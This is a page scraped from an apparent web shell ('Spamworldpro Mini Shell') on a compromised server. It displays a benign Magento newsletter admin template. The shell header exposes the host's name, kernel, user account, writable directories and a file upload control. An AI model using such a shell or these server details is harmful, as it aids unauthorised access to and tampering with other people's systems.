Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-newsletter/view/adminhtml/templates/problem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-newsletter/view/adminhtml/templates/problem/list.phtml
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/** @var \Magento\Framework\View\Helper\SecureHtmlRenderer $secureRenderer */
?>
<?= $block->getChildHtml('grid') ?>

<?php if ($block->getShowButtons()): ?>
<div class="form-buttons">
    <?= $block->getUnsubscribeButtonHtml() ?>
    <?= $block->getDeleteButtonHtml() ?>
</div>
<?php endif ?>
<?php $scriptString = <<<script
require(["prototype", "mage/adminhtml/events"], function(){

    problemController = {
        checkCheckboxes:function (controlCheckbox) {
            var elements = \$$('input.problemCheckbox');
            if (elements && elements.length) {
                elements.each(function (obj) {
                    obj.checked = controlCheckbox.checked;
                });
            }
        },
        rowClick:function (e) {
            if (!Event.element(e).hasClassName('problemCheckbox')) {
                var elements = Event.findElement(e, 'tr').getElementsByClassName('problemCheckbox');
                if (elements.length != 1) {
                    return;
                }
                elements[0].checked = !elements[0].checked;
            }
        },

        unsubscribe:function () {
            var elements = \$$('input.problemCheckbox');
            var serializedElements = Form.serializeElements(elements, true);
            serializedElements._unsubscribe = '1';
            serializedElements.form_key = FORM_KEY;
            var url = problemGridJsObject.url;

            new Ajax.Updater('problemGrid', url + '?ajax=1',
                    {parameters:serializedElements,
                        evalScripts:true,
                        onComplete:problemGridJsObject.initGrid.bind(problemGridJsObject)});
        },

        deleteSelected:function () {
            var elements = \$$('input.problemCheckbox');
            var serializedElements = Form.serializeElements(elements, true);
            serializedElements._delete = '1';
            serializedElements.form_key = FORM_KEY;
            var url = problemGridJsObject.url;

            new Ajax.Updater('problemGrid', url + '?ajax=1',
                    {parameters:serializedElements,
                        evalScripts:true,
                        onComplete:problemGridJsObject.initGrid.bind(problemGridJsObject)});
        }
    }

    varienGlobalEvents.attachEventHandler('gridRowClick', problemController.rowClick.bind(problemController));
    //-->

});
script;
?>
<?= /* @noEscape */ $secureRenderer->renderTag('script', [], $scriptString, false) ?>

Spamworldpro Mini